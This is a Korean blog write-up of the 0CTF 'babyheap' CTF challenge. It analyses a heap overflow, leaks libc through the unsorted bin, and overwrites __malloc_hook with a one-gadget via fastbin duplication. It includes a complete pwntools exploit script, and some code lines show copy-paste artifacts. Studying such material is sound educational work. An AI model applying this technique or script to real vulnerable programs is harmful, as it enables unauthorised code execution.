본문으로 바로가기

1. mitigation

1
2
3
4
5
6
7
8
juntae@ubuntu:~/ctf/0ctf/babyheap$ checksec babyheap 
[*'/home/juntae/ctf/0ctf/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
juntae@ubuntu:~/ctf/0ctf/babyheap$ 
cs

미티게이션이 초록초록 하다. ㅠ


2. anaysis

1
2
3
4
5
6
7
8
9
10
if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 )
  exit(-1);
close(fd);
addr = ((buf - 0x555555543000LL * ((0xC000000294000009LL * buf >> 64)
         >> 46+ 0x10000& 0xFFFFFFFFFFFFF000LL);
v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (v5 >> 7>> 64)) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 334-1, 0LL) != addr )
  exit(-1);
 
return &addr[v3];
cs

일단 위에처럼 init에서 랜덤하게 addr를 매핑시키고, v3으로 주소를 return 시켜준다.


그 뒤로는 어느 힙문제처럼, 메뉴를 출력해준다!

1
2
3
4
5
6
7
8
9
int sub_CF4()
{
  puts("1. Allocate");
  puts("2. Fill");
  puts("3. Free");
  puts("4. Dump");
  puts("5. Exit");
  return printf("Command: ");
}
cs


(1). Allocate

1
allocate(maped_heapaddress);
cs

매핑된 주소를 인자로 메모리를 할당해준다.


1
v3 = calloc(v2, 1uLL);
cs

메모리를 할당할때, calloc함수를 사용하는게 특이한 점이다.

calloc함수는 메모리를 할당하고, 모든 메모리를 0으로 초기화해준다.

이렇기때문에, UAF취약점은 사용하기 어렵다.

어차피 malloc하면 메모리공간이 전부 0이 되어버리니 ㅠㅠ..


(2) fill

1
fill(maped_heapaddress);
cs

마찬가지로 매핑된 주소를 바탕으로 fill을 실행한다.

fill에서는 지정한 인덱스에서 size를 입력받고, 그 사이즈만큼 메모리를 수정할 수 있다.

하지만, 사이즈를 입력받는것과, 메모리 수정에 제한이 없다.

따라서, Heap overflow가 발생한다. 

chunk를 마음대로 수정할 수 있다!


(3) free

지정한 인덱스를 free해준다.


(4) dump

지정한 인덱스의 값을 보여준다.


정리해보면!

I. allocate

-size를 입력받고 그만큼 메모리를 할당해줌.

II. fill

-index를 입력함.    

-size를 입력함.

-해당 index의 context를 size만큼 입력할 수 있음.

-여기서, size의 제한이 없어 heap overflow 가능.

III. free

-index를 입력받고 free해줌.

IV. dump

-index를 입력받고 내부의 값을 보여줌.


3. leak

1. fastchunk 4개 할당. (0~3)

2. smallchunk 1개 할당. (4)

3. index (1),(2) free

- (2)의 fd는 (1)을 가르킨다.

4. free된 (2)의 fd가 (4)를 가르키도록 1byte overflow 해준다.

- (0)을 fill해주어서 오버플로우한다.

5. (3)을 overflow 시켜서 (4)의 사이즈를 0x31로 바꾼다.

- (3)을 fill해주어서 바꾸자.

- 이렇게 되면, (4)는 fast chunk가 된다.

6. 2번 allocate한다.

- 두번째 allocate는 (4)의 주소를 가지고 있다.

- 4번에서 (2)의 fd를 (4)를 가르키게 했기 때문! 

7. 5번에서 바꿨던 (4)의 사이즈를 다시 원래 사이즈로 돌려준다.

- small chunk로 맞춰주자.

8. small chunk하나를 allocate시켜주자.

- smallchunk (5)가 malloc 되었다.

- 이제 (4)를 free시켜도 (4)가 바로 사라지지 않는다.

8. (4)를 free시키자.

- 8번 과정에 의해서 (4)를 free하면 바로 사라지지 않고 unsorted bin으로 들어간다.

- 즉, (4)의 fd,bk는 main_arena + 88을 가르키게 된다.

9. (2)를 dump한다

- 6번에서 설명했듯이 두번째 allocate는 (4)의 주소를 가지고 있다.

- 즉, (2)를 dump하면 (4)의 메모리가 leak된다.

- 여기서 (4)는 main_arena + 88의 값을 가지고 있으므로, libc를 leak할 수 있다.


4. exploit

FULL RELRO라 got를 못덮는다.

그래서 우리는 malloc_hook을 이용할 것이다.

malloc은 malloc을 실행하기 전에, malloc_hook을 한번 거쳐간다.

그리고 malloc_hook에 값이 있다면, 그부분을 실행시킨다.

참고로, calloc도 malloc을 이용해서 할당하는것 과 같으므로, malloc_hook을 거쳐간다.

- calloc = malloc + 할당 공간만큼 0으로 memset

따라서 우리는 malloc_hook에 oneshot gadget의 주소를 넣어두면 된다.


1. 아무 크기나 allocate해준다.

- 비어있는 인덱스인 (4)에 들어간다.

2. (4)를 free해준다.

- (2)의 fd는 원래처럼 (4)를 가르키고 있는중이다.

3. target주소를 찾고, (2)를 fill해서 target주소를 넣는다.

- fastbin duplicate을 사용하기 위해서이다.

- 할당하고싶은 메모리(malloc_hook)근처에 fastbin(0x80 미만) size값을 찾는다.

- libc주소는 0x7f로 시작한다. = fastbin의 size이다.

- malloc_hook근처에 값을 할당해야 하므로 적당한 메모리공간을 찾는다.

- (malloc_hook - 35)부분이 적당해 보인다.

4. 2번 allocate해준다.

- 두번째 allocate는 target주소에 할당된다.

5. malloc_hook에 oneshot gadget을 덮는다.

- 6번을 fill해줘서 oneshot gadget을 덮으면 된다.

6. malloc에 성공한다.

- oneshot gadget이 실행되며, 쉘을 획득한다.


5. exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
 
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
= ELF("./babyheap")
 
= process("./babyheap")
 
def allocate(size):
    r.sendlineafter("Command: ","1")
    r.sendlineafter("Size: ",str(size))
 
def fill(index,size,content):
    r.sendlineafter("Command: ","2")
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",content)
 
def free(index):
    r.sendlineafter("Command: ","3")
    r.sendlineafter("Index: ",str(index))
 
def dump(index):
    r.sendlineafter("Command: ","4")
    r.sendlineafter("Index: ",str(index))
 
main_arena = 0x3c4b20
one_gadget = 0x4526a
 
 
allocate(0x20#(0)    malloc three fast chunk
allocate(0x20#(1)
allocate(0x20#(2)
allocate(0x20#(3)
allocate(0x80#(4)    malloc one small chunk, beacause leak libc!
#we have five chunk (0, 1, 2, 3, 4)
 
free(1)
free(2#now, (2)'s fd = (1)
#we have three chunk  (0, X, X, 3, 4)
 
payload  = p64(0* 5
payload += p64(0x31)
payload += p64(0* 5
payload += p64(0x31)
payload +=  p8(0xc0)
fill(0len(payload), payload) #now, (2)'s fd = (4)
 
payload  = p64(0* 5
payload += p64(0x31)
fill(3len(payload), payload) #now, (4)'s size = 0x31 -> fast chunk !!
 
allocate(0x20#(1)
allocate(0x20#(2) = (4)'s address
#we have five chunk  (0, 1, 2, 3, 4)
 
payload  = p64(0* 5
payload += p64(0x91)
fill(3len(payload), payload) #back original size, 0x91 !!
allocate(0x80#(5) one more smallchunk
#we have six chunk  (0, 1, 2, 3, 4, 5)
 
free(4#now, (4) is unsortedbin -> (4)'s fd,bk = (main_arena + 88)
#we have five chunk  (0, 1, 2, 3, X, 5)
 
dump(2#dump (4)'s fd,bk = (main_arena + 88)
leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - (main_arena + 88)
log.info("leak data(main_arena + 88) : " + hex(leak))
log.info("libc base : " + hex(libc_base))
 
allocate(0x68#malloc (4) with any size!
#we have six chunk (0, 1, 2, 3, 4, 5)
 
free(4#now, (2)'s fd = (4)
target = 0x3c4b10 - 35 #malloc_hook - 35, size = 0x7f
fill(2,8,p64(libc_base + target))
#we have five chunk (0, 1, 2, 3, X, 5)
 
allocate(0x60#(4)
allocate(0x60#(6), (6) pointing to (malloc_hook - 35) 
#we have seven chunk (0, 1, 2, 3, 4, 5, 6)
 
payload  = "\x00" * 3
payload += p64(0* 2
payload += p64(libc_base + one_gadget)
fill(6len(payload), payload) 
 
allocate("123"#if malloc success, we can get shell!
 
 
r.interactive()
 
cs


나도 공부하면서 익스코드 찐거라 주석이 오지게많다.

주석에 설명 나름 빡시게해뒀으니 참고하시면 좋아요!

틀린 내용 있으면 댓글 달아주세요!